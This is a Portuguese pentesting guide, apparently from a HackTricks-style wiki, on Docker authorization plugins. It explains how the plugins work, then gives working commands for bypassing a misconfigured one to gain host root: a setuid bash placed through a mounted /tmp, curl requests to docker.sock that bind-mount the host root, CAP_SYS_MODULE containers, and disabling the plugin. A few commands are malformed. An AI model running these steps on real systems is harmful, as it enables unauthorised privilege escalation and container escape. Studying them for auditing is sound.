AuthZ& AuthN - Docker Access Authorization Plugin

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O modelo de autorização do Docker é tudo ou nada. Qualquer usuário com permissão para acessar o daemon do Docker pode executar qualquer comando do cliente Docker. O mesmo se aplica a chamadores que usam a API do Engine do Docker para contatar o daemon. Se você precisar de maior controle de acesso, pode criar plugins de autorização e adicioná-los à configuração do seu daemon Docker. Usando um plugin de autorização, um administrador do Docker pode configurar políticas de acesso granular para gerenciar o acesso ao daemon do Docker.

Arquitetura básica

Os plugins de autenticação do Docker são plugins externos que você pode usar para permitir/negar ações solicitadas ao daemon do Docker dependendo do usuário que a solicitou e da ação solicitada.

As informações a seguir são da documentação

Quando uma solicitação HTTP é feita ao daemon do Docker através da CLI ou via API do Engine, o subsystem de autenticação passa a solicitação para o(s) plugin(s) de autenticação instalados. A solicitação contém o usuário (chamador) e o contexto do comando. O plugin é responsável por decidir se deve permitir ou negar a solicitação.

Os diagramas de sequência abaixo mostram um fluxo de autorização de permitir e negar:

Cada solicitação enviada ao plugin inclui o usuário autenticado, os cabeçalhos HTTP e o corpo da solicitação/resposta. Apenas o nome do usuário e o método de autenticação utilizado são passados para o plugin. O mais importante, nenhuma credencial de usuário ou tokens são passados. Finalmente, nem todos os corpos de solicitação/resposta são enviados para o plugin de autorização. Apenas aqueles corpos de solicitação/resposta onde o Content-Type é text/* ou application/json são enviados.

Para comandos que podem potencialmente sequestrar a conexão HTTP (HTTP Upgrade), como exec, o plugin de autorização é chamado apenas para as solicitações HTTP iniciais. Uma vez que o plugin aprova o comando, a autorização não é aplicada ao restante do fluxo. Especificamente, os dados de streaming não são passados para os plugins de autorização. Para comandos que retornam resposta HTTP em partes, como logs e events, apenas a solicitação HTTP é enviada para os plugins de autorização.

Durante o processamento de solicitação/resposta, alguns fluxos de autorização podem precisar fazer consultas adicionais ao daemon do Docker. Para completar tais fluxos, os plugins podem chamar a API do daemon de forma semelhante a um usuário regular. Para habilitar essas consultas adicionais, o plugin deve fornecer os meios para que um administrador configure políticas adequadas de autenticação e segurança.

Vários Plugins

Você é responsável por registrar seu plugin como parte da inicialização do daemon do Docker. Você pode instalar vários plugins e encadeá-los. Este encadeamento pode ser ordenado. Cada solicitação ao daemon passa em ordem pelo encadeamento. Apenas quando todos os plugins concedem acesso ao recurso, o acesso é concedido.

Exemplos de Plugin

Twistlock AuthZ Broker

O plugin authz permite que você crie um simples arquivo JSON que o plugin estará lendo para autorizar as solicitações. Portanto, ele lhe dá a oportunidade de controlar muito facilmente quais endpoints da API podem ser acessados por cada usuário.

Este é um exemplo que permitirá que Alice e Bob criem novos contêineres: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}

Na página route_parser.go você pode encontrar a relação entre a URL solicitada e a ação. Na página types.go você pode encontrar a relação entre o nome da ação e a ação.

Tutorial de Plugin Simples

Você pode encontrar um plugin fácil de entender com informações detalhadas sobre instalação e depuração aqui: https://github.com/carlospolop-forks/authobot

Leia o README e o código plugin.go para entender como funciona.

Bypass do Plugin de Autenticação do Docker

Enumerar acesso

As principais coisas a verificar são quais endpoints são permitidos e quais valores de HostConfig são permitidos.

Para realizar essa enumeração, você pode usar a ferramenta https://github.com/carlospolop/docker_auth_profiler.

`run --privileged` não permitido

Privilégios Mínimos

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

Executando um contêiner e depois obtendo uma sessão privilegiada

Neste caso, o sysadmin não permitiu que os usuários montassem volumes e executassem contêineres com a flag --privileged ou dessem qualquer capacidade extra ao contêiner:

docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.

No entanto, um usuário pode criar um shell dentro do contêiner em execução e conceder privilégios extras:

docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de

# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash

Agora, o usuário pode escapar do contêiner usando qualquer uma das técnicas discutidas anteriormente e escalar privilégios dentro do host.

Montar Pasta Gravável

Neste caso, o sysadmin não permitiu que os usuários executassem contêineres com a flag --privileged ou dessem qualquer capacidade extra ao contêiner, e ele apenas permitiu montar a pasta /tmp:

host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root

Note que talvez você não consiga montar a pasta /tmp, mas pode montar uma pasta gravável diferente. Você pode encontrar diretórios graváveis usando: find / -writable -type d 2>/dev/null

Note que nem todos os diretórios em uma máquina linux suportam o bit suid! Para verificar quais diretórios suportam o bit suid, execute mount | grep -v "nosuid" Por exemplo, geralmente /dev/shm, /run, /proc, /sys/fs/cgroup e /var/lib/lxcfs não suportam o bit suid.

Note também que se você puder montar /etc ou qualquer outra pasta contendo arquivos de configuração, você pode alterá-los a partir do contêiner docker como root para abusar deles no host e escalar privilégios (talvez modificando /etc/shadow)

Endpoint de API Não Verificado

A responsabilidade do sysadmin que configura este plugin seria controlar quais ações e com quais privilégios cada usuário pode realizar. Portanto, se o administrador adotar uma abordagem de lista negra com os endpoints e os atributos, ele pode esquecer alguns deles que poderiam permitir a um atacante escalar privilégios.

Você pode verificar a API do docker em https://docs.docker.com/engine/api/v1.40/#

Estrutura JSON Não Verificada

Montagens na raiz

É possível que quando o sysadmin configurou o firewall do docker, ele esqueceu de algum parâmetro importante da API como "Binds". No exemplo a seguir, é possível abusar dessa má configuração para criar e executar um contêiner que monta a pasta raiz (/) do host:

docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem

Note como neste exemplo estamos usando o Binds como uma chave de nível raiz no JSON, mas na API ele aparece sob a chave HostConfig

Binds em HostConfig

Siga a mesma instrução que com Binds em root realizando esta request para a API do Docker:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create

Montagens em root

Siga as mesmas instruções que com Vinculações em root realizando esta solicitação à API do Docker:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create

Mounts in HostConfig

Siga as mesmas instruções que com Binds in root realizando esta request para a API do Docker:

curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre

Atributo JSON Não Verificado

É possível que, quando o sysadmin configurou o firewall do docker, ele esqueceu de algum atributo importante de um parâmetro da API como "Capabilities" dentro de "HostConfig". No exemplo a seguir, é possível abusar dessa má configuração para criar e executar um contêiner com a capacidade SYS_MODULE:

docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability

O HostConfig é a chave que geralmente contém os privilegios interessantes para escapar do contêiner. No entanto, como discutimos anteriormente, observe como usar Binds fora dele também funciona e pode permitir que você contorne restrições.

Desabilitando o Plugin

Se o sysadmin esqueceu de proibir a capacidade de desabilitar o plugin, você pode aproveitar isso para desabilitá-lo completamente!

docker plugin list #Enumerate plugins

# If you don’t have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin

docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot